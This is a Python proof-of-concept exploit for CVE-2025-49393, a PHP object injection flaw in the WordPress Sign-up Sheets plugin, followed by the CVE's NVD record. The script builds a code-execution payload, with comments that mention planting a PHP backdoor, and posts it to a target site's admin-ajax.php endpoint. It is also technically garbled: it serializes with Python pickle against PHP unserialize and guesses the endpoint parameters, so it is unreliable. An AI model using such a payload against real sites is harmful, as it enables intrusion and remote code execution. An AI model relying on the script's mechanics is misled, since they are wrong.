CVE-2025-49393

# CVE-2025-49393 PoC - WordPress Sign-up Sheets Object Injection # This PoC demonstrates the PHP Object Injection vulnerability in sign-up-sheets plugin <= 2.3.2 import requests import base64 TARGET_URL = "http://target-wordpress-site.com" # Attacker-controlled payload - this would need to be customized based on available gadget chains # Common gadget chains in WordPress environment can be found in known exploits class EvilPayload: def __reduce__(self): # This creates a payload that will execute arbitrary code when unserialized # Example: writing a PHP backdoor to the filesystem return (eval, ("__import__('os').popen('whoami').read()",)) # Serialize the malicious payload import pickle malicious_data = pickle.dumps(EvilPayload()) encoded_payload = base64.b64encode(malicious_data).decode() # The vulnerable endpoint typically accepts serialized data through POST parameters # Adjust the parameters and endpoint based on actual plugin implementation vulnerable_endpoint = f"{TARGET_URL}/wp-admin/admin-ajax.php" params = { "action": "sign_up_sheets_submit", "data": encoded_payload } headers = { "Content-Type": "application/x-www-form-urlencoded" } print(f"[*] Sending exploit payload to {TARGET_URL}") print(f"[*] Payload: {encoded_payload[:50]}...") try: response = requests.post(vulnerable_endpoint, data=params, headers=headers, timeout=10) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Body: {response.text[:500]}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") # Note: This PoC is for educational and authorized testing purposes only. # Always obtain proper authorization before testing any system.

{"cve": {"id": "CVE-2025-49393", "sourceIdentifier": "[email protected]", "published": "2025-11-06T16:15:53.413", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Deserialization of Untrusted Data vulnerability in Fetch Designs Sign-up Sheets sign-up-sheets allows Object Injection.This issue affects Sign-up Sheets: from n/a through <= 2.3.2."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/sign-up-sheets/vulnerability/wordpress-sign-up-sheets-plugin-2-3-2-php-object-injection-vulnerability?_s_id=cve", "source": "[email protected]"}]}}